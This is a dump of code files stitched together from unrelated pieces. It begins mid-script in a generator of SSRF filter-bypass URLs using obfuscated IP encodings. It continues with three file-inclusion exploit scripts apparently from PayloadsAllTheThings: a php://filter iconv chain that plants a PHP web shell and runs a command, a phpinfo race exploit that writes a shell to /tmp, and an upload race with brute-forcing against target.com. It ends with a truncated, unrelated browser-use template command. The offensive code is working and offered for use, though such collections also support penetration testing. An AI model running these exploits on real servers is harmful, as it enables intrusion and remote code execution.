print('http://',RANDPREFIXTEXT,'@',RANDOMPREFIXVALIDSITE,'@',IP3,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',RANDOMPREFIXVALIDSITE,'@',IP3,':',PORT,'/',file=f,sep='') print('http://',IP3,':',PORT,'+&@',RANDOMPREFIXVALIDSITE,'#+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',IP3,':',PORT,'#+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',RANDOMPREFIXVALIDSITE,'#+@',IP3,':',PORT,'/',file=f,sep='') print('http://',IP3,':',PORT,':80','/',file=f,sep='') print('http://',IP3,':',PORT,'\\t',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP3,':',PORT,'%09',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP3,':',PORT,'%2509',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') #Case 4 - Dotted decimal with overflow(256) print(bluecolor,"Dotted decimal with overflow(256) IP Address of:",resetcolor,yellowcolor," http://",arg1,resetcolor,bluecolor," + authentication prefix/bypass combo list",resetcolor,sep='') print(greencolor,'=========================================================================================================================================',resetcolor,sep='') IP4 = DEC_OVERFLOW_SINGLE(ipFrag3) + "." + DEC_OVERFLOW_SINGLE(ipFrag2) + "." + DEC_OVERFLOW_SINGLE(ipFrag1) + "." + DEC_OVERFLOW_SINGLE(ipFrag0) print('http://',IP4,':',PORT,'/',sep='') print('http://',IP4,':',PORT,'?@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP4,':',PORT,'#@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'@',IP4,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP4,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP4,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP4,':',PORT,'@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP4,':','@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP4,':',PORT,'+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP4,':','+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXT,'@',RANDOMPREFIXVALIDSITE,'@',IP4,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',RANDOMPREFIXVALIDSITE,'@',IP4,':',PORT,'/',sep='') print('http://',IP4,':',PORT,'+&@',RANDOMPREFIXVALIDSITE,'#+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',IP4,':',PORT,'#+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',RANDOMPREFIXVALIDSITE,'#+@',IP4,':',PORT,'/',sep='') print('http://',IP4,':',PORT,':80','/',sep='') print('http://',IP4,':',PORT,'\\t',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP4,':',PORT,'%09',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP4,':',PORT,'%2509',RANDOMPREFIXVALIDSITE,'/',sep='') print(greencolor,'=========================================================================================================================================',resetcolor,sep='') print("\n",sep='') if EXPORTRESULTS == 'export': print('http://',IP4,':',PORT,'/',file=f,sep='') print('http://',IP4,':',PORT,'?@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP4,':',PORT,'#@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'@',IP4,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP4,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP4,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP4,':',PORT,'@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP4,':','@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP4,':',PORT,'+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP4,':','+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',RANDOMPREFIXVALIDSITE,'@',IP4,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',RANDOMPREFIXVALIDSITE,'@',IP4,':',PORT,'/',file=f,sep='') print('http://',IP4,':',PORT,'+&@',RANDOMPREFIXVALIDSITE,'#+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',IP4,':',PORT,'#+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',RANDOMPREFIXVALIDSITE,'#+@',IP4,':',PORT,'/',file=f,sep='') print('http://',IP4,':',PORT,':80','/',file=f,sep='') print('http://',IP4,':',PORT,'\\t',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP4,':',PORT,'%09',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP4,':',PORT,'%2509',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') #Case 5 - Dotted octal print(bluecolor,"Dotted octal IP Address of:",resetcolor,yellowcolor," http://",arg1,resetcolor,bluecolor," + authentication prefix/bypass combo list",resetcolor,sep='') print(greencolor,'=========================================================================================================================================',resetcolor,sep='') IP5 = OCT_SINGLE(ipFrag3) + "." + OCT_SINGLE(ipFrag2) + "." + OCT_SINGLE(ipFrag1) + "." + OCT_SINGLE(ipFrag0) print('http://',IP5,':',PORT,'/',sep='') print('http://',IP5,':',PORT,'?@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP5,':',PORT,'#@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'@',IP5,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP5,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP5,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP5,':',PORT,'@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP5,':','@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP5,':',PORT,'+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP5,':','+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXT,'@',RANDOMPREFIXVALIDSITE,'@',IP5,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',RANDOMPREFIXVALIDSITE,'@',IP5,':',PORT,'/',sep='') print('http://',IP5,':',PORT,'+&@',RANDOMPREFIXVALIDSITE,'#+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',IP5,':',PORT,'#+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',RANDOMPREFIXVALIDSITE,'#+@',IP5,':',PORT,'/',sep='') print('http://',IP5,':',PORT,':80','/',sep='') print('http://',IP5,':',PORT,'\\t',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP5,':',PORT,'%09',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP5,':',PORT,'%2509',RANDOMPREFIXVALIDSITE,'/',sep='') print(greencolor,'=========================================================================================================================================',resetcolor,sep='') print("\n",sep='') if EXPORTRESULTS == 'export': print('http://',IP5,':',PORT,'/',file=f,sep='') print('http://',IP5,':',PORT,'?@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP5,':',PORT,'#@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'@',IP5,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP5,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP5,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP5,':',PORT,'@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP5,':','@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP5,':',PORT,'+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP5,':','+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',RANDOMPREFIXVALIDSITE,'@',IP5,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',RANDOMPREFIXVALIDSITE,'@',IP5,':',PORT,'/',file=f,sep='') print('http://',IP5,':',PORT,'+&@',RANDOMPREFIXVALIDSITE,'#+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',IP5,':',PORT,'#+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',RANDOMPREFIXVALIDSITE,'#+@',IP5,':',PORT,'/',file=f,sep='') print('http://',IP5,':',PORT,':80','/',file=f,sep='') print('http://',IP5,':',PORT,'\\t',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP5,':',PORT,'%09',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP5,':',PORT,'%2509',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') #Case 6 - Dotted octal with padding print(bluecolor,"Dotted octal with padding IP Address of:",resetcolor,yellowcolor," http://",arg1,resetcolor,bluecolor," + authentication prefix/bypass combo list",resetcolor,sep='') print(greencolor,'=========================================================================================================================================',resetcolor,sep='') IP6 = '0' + OCT_SINGLE(ipFrag3) + "." + '00' + OCT_SINGLE(ipFrag2) + "." + '000' + OCT_SINGLE(ipFrag1) + "." + '0000' + OCT_SINGLE(ipFrag0) print('http://',IP6,':',PORT,'/',sep='') print('http://',IP6,':',PORT,'?@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP6,':',PORT,'#@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'@',IP6,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP6,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP6,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP6,':',PORT,'@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP6,':','@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP6,':',PORT,'+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP6,':','+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXT,'@',RANDOMPREFIXVALIDSITE,'@',IP6,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',RANDOMPREFIXVALIDSITE,'@',IP6,':',PORT,'/',sep='') print('http://',IP6,':',PORT,'+&@',RANDOMPREFIXVALIDSITE,'#+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',IP6,':',PORT,'#+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',RANDOMPREFIXVALIDSITE,'#+@',IP6,':',PORT,'/',sep='') print('http://',IP6,':',PORT,':80','/',sep='') print('http://',IP6,':',PORT,'\\t',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP6,':',PORT,'%09',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP6,':',PORT,'%2509',RANDOMPREFIXVALIDSITE,'/',sep='') print(greencolor,'=========================================================================================================================================',resetcolor,sep='') print("\n",sep='') if EXPORTRESULTS == 'export': print('http://',IP6,':',PORT,'/',file=f,sep='') print('http://',IP6,':',PORT,'?@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP6,':',PORT,'#@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'@',IP6,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP6,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP6,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP6,':',PORT,'@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP6,':','@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP6,':',PORT,'+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP6,':','+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',RANDOMPREFIXVALIDSITE,'@',IP6,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',RANDOMPREFIXVALIDSITE,'@',IP6,':',PORT,'/',file=f,sep='') print('http://',IP6,':',PORT,'+&@',RANDOMPREFIXVALIDSITE,'#+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',IP6,':',PORT,'#+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',RANDOMPREFIXVALIDSITE,'#+@',IP6,':',PORT,'/',file=f,sep='') print('http://',IP6,':',PORT,':80','/',file=f,sep='') print('http://',IP6,':',PORT,'\\t',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP6,':',PORT,'%09',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP6,':',PORT,'%2509',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') #Case 7 - IPv6 compact version print(bluecolor,"IPv6 compact version IP Address of:",resetcolor,yellowcolor," http://",arg1,resetcolor,bluecolor," + authentication prefix/bypass combo list",resetcolor,sep='') print(greencolor,'=========================================================================================================================================',resetcolor,sep='') IP7 = '[::' + ipFrag3 + "." + ipFrag2 + "." + ipFrag1 + "." + ipFrag0 + ']' print('http://',IP7,':',PORT,'/',sep='') print('http://',IP7,':',PORT,'?@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP7,':',PORT,'#@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'@',IP7,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP7,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP7,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP7,':',PORT,'@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP7,':','@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP7,':',PORT,'+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP7,':','+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXT,'@',RANDOMPREFIXVALIDSITE,'@',IP7,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',RANDOMPREFIXVALIDSITE,'@',IP7,':',PORT,'/',sep='') print('http://',IP7,':',PORT,'+&@',RANDOMPREFIXVALIDSITE,'#+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',IP7,':',PORT,'#+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',RANDOMPREFIXVALIDSITE,'#+@',IP7,':',PORT,'/',sep='') print('http://',IP7,':',PORT,':80','/',sep='') print('http://',IP7,':',PORT,'\\t',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP7,':',PORT,'%09',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP7,':',PORT,'%2509',RANDOMPREFIXVALIDSITE,'/',sep='') print(greencolor,'=========================================================================================================================================',resetcolor,sep='') print("\n",sep='') if EXPORTRESULTS == 'export': print('http://',IP7,':',PORT,'/',file=f,sep='') print('http://',IP7,':',PORT,'?@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP7,':',PORT,'#@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'@',IP7,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP7,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP7,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP7,':',PORT,'@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP7,':','@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP7,':',PORT,'+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP7,':','+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',RANDOMPREFIXVALIDSITE,'@',IP7,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',RANDOMPREFIXVALIDSITE,'@',IP7,':',PORT,'/',file=f,sep='') print('http://',IP7,':',PORT,'+&@',RANDOMPREFIXVALIDSITE,'#+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',IP7,':',PORT,'#+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',RANDOMPREFIXVALIDSITE,'#+@',IP7,':',PORT,'/',file=f,sep='') print('http://',IP7,':',PORT,':80','/',file=f,sep='') print('http://',IP7,':',PORT,'\\t',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP7,':',PORT,'%09',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP7,':',PORT,'%2509',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') #Case 8 - IPv6 mapped version print(bluecolor,"IPv6 mapped version IP Address of:",resetcolor,yellowcolor," http://",arg1,resetcolor,bluecolor," + authentication prefix/bypass combo list",resetcolor,sep='') print(greencolor,'=========================================================================================================================================',resetcolor,sep='')
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
true
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/File Inclusion/Files/LFI2RCE.py
File Inclusion/Files/LFI2RCE.py
import requests url = "http://localhost:8000/chall.php" file_to_use = "/etc/passwd" command = "id" #<?=`$_GET[0]`;;?> base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4" conversions = { 'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2', 'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2', 'C': 'convert.iconv.UTF8.CSISO2022KR', '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2', '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB', 'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213', 's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61', 'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS', 'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932', 'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213', 'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5', '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2', 'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2', 'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2', 'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2', 'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2', '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2', '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2' } # generate some garbage base64 filters = "convert.iconv.UTF8.CSISO2022KR|" filters += "convert.base64-encode|" # make sure to get rid of any equal signs in both the string we just generated and the rest of the file filters += "convert.iconv.UTF8.UTF7|" for c in base64_payload[::-1]: filters += conversions[c] + "|" # decode and re-encode to get rid of everything that isn't valid base64 filters += "convert.base64-decode|" filters += "convert.base64-encode|" # get rid of equal signs filters += "convert.iconv.UTF8.UTF7|" filters += "convert.base64-decode" final_payload = f"php://filter/{filters}/resource={file_to_use}" with open('payload', 'w') as f: f.write(final_payload) r = requests.get(url, params={ "0": command, "action": "include", "file": final_payload }) print(r.text)
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/File Inclusion/Files/phpinfolfi.py
File Inclusion/Files/phpinfolfi.py
#!/usr/bin/python # https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf # The following line is not required but supposedly optimizes code. # However, this breaks on some Python 2 installations, where the future module version installed is > 0.16. This can be a pain to revert. # from builtins import range from __future__ import print_function import sys import threading import socket def setup(host, port): TAG="Security Test" PAYLOAD="""%s\r <?php ?>');?>\r""" % TAG REQ1_DATA="""-----------------------------7dbff1ded0714\r Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r Content-Type: text/plain\r \r %s -----------------------------7dbff1ded0714--\r""" % PAYLOAD padding="A" * 5000 REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r HTTP_ACCEPT: """ + padding + """\r HTTP_USER_AGENT: """+padding+"""\r HTTP_ACCEPT_LANGUAGE: """+padding+"""\r HTTP_PRAGMA: """+padding+"""\r Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r Content-Length: %s\r Host: %s\r \r %s""" %(len(REQ1_DATA),host,REQ1_DATA) #modify this to suit the LFI script LFIREQ="""GET /lfi.php?load=%s%%00 HTTP/1.1\r User-Agent: Mozilla/4.0\r Proxy-Connection: Keep-Alive\r Host: %s\r \r \r """ return (REQ1, TAG, LFIREQ) def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s2.connect((host, port)) s.send(phpinforeq) d = "" while len(d) < offset: d += s.recv(offset) try: i = d.index("[tmp_name] =>") if i == -1: i = d.index("[tmp_name] =&gt;") fn = d[i+17:i+31] except ValueError: return None s2.send(lfireq % (fn, host)) d = s2.recv(4096) s.close() s2.close() if d.find(tag) != -1: return fn counter=0 class ThreadWorker(threading.Thread): def __init__(self, e, l, m, *args): threading.Thread.__init__(self) self.event = e self.lock = l self.maxattempts = m self.args = args def run(self): global counter while not self.event.is_set(): with self.lock: if counter >= self.maxattempts: return counter+=1 try: x = phpInfoLFI(*self.args) if self.event.is_set(): break if x: print("\nGot it! Shell created in /tmp/g") self.event.set() except socket.error: return def getOffset(host, port, phpinforeq): """Gets offset of tmp_name in the php output""" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) s.send(phpinforeq) d = "" while True: i = s.recv(4096) d+=i if i == "": break # detect the final chunk if i.endswith("0\r\n\r\n"): break s.close() i = d.find("[tmp_name] =>") if i == -1: i = d.find("[tmp_name] =&gt;") if i == -1: raise ValueError("No php tmp_name in phpinfo output") print("found %s at %i" % (d[i:i+10],i)) # padded up a bit return i+256 def main(): print("LFI With PHPInfo()") print("-=" * 30) if len(sys.argv) < 2: print("Usage: %s host [port] [threads]" % sys.argv[0]) sys.exit(1) try: host = socket.gethostbyname(sys.argv[1]) except socket.error as e: print("Error with hostname %s: %s" % (sys.argv[1], e)) sys.exit(1) port=80 try: port = int(sys.argv[2]) except IndexError: pass except ValueError as e: print("Error with port %d: %s" % (sys.argv[2], e)) sys.exit(1) poolsz=10 try: poolsz = int(sys.argv[3]) except IndexError: pass except ValueError as e: print("Error with poolsz %d: %s" % (sys.argv[3], e)) sys.exit(1) print("Getting initial offset...", end=' ') reqphp, tag, reqlfi = setup(host, port) offset = getOffset(host, port, reqphp) sys.stdout.flush() maxattempts = 1000 e = threading.Event() l = threading.Lock() print("Spawning worker pool (%d)..." % poolsz) sys.stdout.flush() tp = [] for i in range(0,poolsz): tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag)) for t in tp: t.start() try: while not e.wait(1): if e.is_set(): break with l: sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts)) sys.stdout.flush() if counter >= maxattempts: break print() if e.is_set(): print("Woot! \m/") else: print(":(") except KeyboardInterrupt: print("\nTelling threads to shutdown...") e.set() print("Shuttin' down...") for t in tp: t.join() if __name__=="__main__": print("Don't forget to modify the LFI URL") main()
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/File Inclusion/Files/uploadlfi.py
File Inclusion/Files/uploadlfi.py
from __future__ import print_function from builtins import range import itertools import requests import string import sys print('[+] Trying to win the race') f = {'file': open('shell.php', 'rb')} for _ in range(4096 * 4096): requests.post('http://target.com/index.php?c=index.php', f) print('[+] Bruteforcing the inclusion') for fname in itertools.combinations(string.ascii_letters + string.digits, 6): url = 'http://target.com/index.php?c=/tmp/php' + fname r = requests.get(url) if 'load average' in r.text: # <?php echo system('uptime'); print('[+] We have got a shell: ' + url) sys.exit(0) print('[x] Something went wrong, please try again')
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
browser-use/browser-use
https://github.com/browser-use/browser-use/blob/630f85dd05127c9d42810a5db235a14f5bac9043/browser_use/init_cmd.py
browser_use/init_cmd.py
""" Standalone init command for browser-use template generation. This module provides a minimal command-line interface for generating browser-use templates without requiring heavy TUI dependencies. """ import json import shutil import sys from pathlib import Path from typing import Any from urllib import request from urllib.error import URLError import click from InquirerPy import inquirer from InquirerPy.base.control import Choice from InquirerPy.utils import InquirerPyStyle from rich.console import Console from rich.panel import Panel from rich.text import Text # Rich console for styled output console = Console() # GitHub template repository URL (for runtime fetching) TEMPLATE_REPO_URL = 'https://raw.githubusercontent.com/browser-use/template-library/main' # Export for backward compatibility with cli.py # Templates are fetched at runtime via _get_template_list() INIT_TEMPLATES: dict[str, Any] = {} def _fetch_template_list() -> dict[str, Any] | None: """ Fetch template list from GitHub templates.json. Returns template dict if successful, None if failed. """ try: url = f'{TEMPLATE_REPO_URL}/templates.json' with request.urlopen(url, timeout=5) as response: data = response.read().decode('utf-8') return json.loads(data) except (URLError, TimeoutError, json.JSONDecodeError, Exception): return None def _get_template_list() -> dict[str, Any]: """ Get template list from GitHub. Raises FileNotFoundError if GitHub fetch fails. """ templates = _fetch_template_list() if templates is not None: return templates raise FileNotFoundError('Could not fetch templates from GitHub. Check your internet connection.') def _fetch_from_github(file_path: str) -> str | None: """ 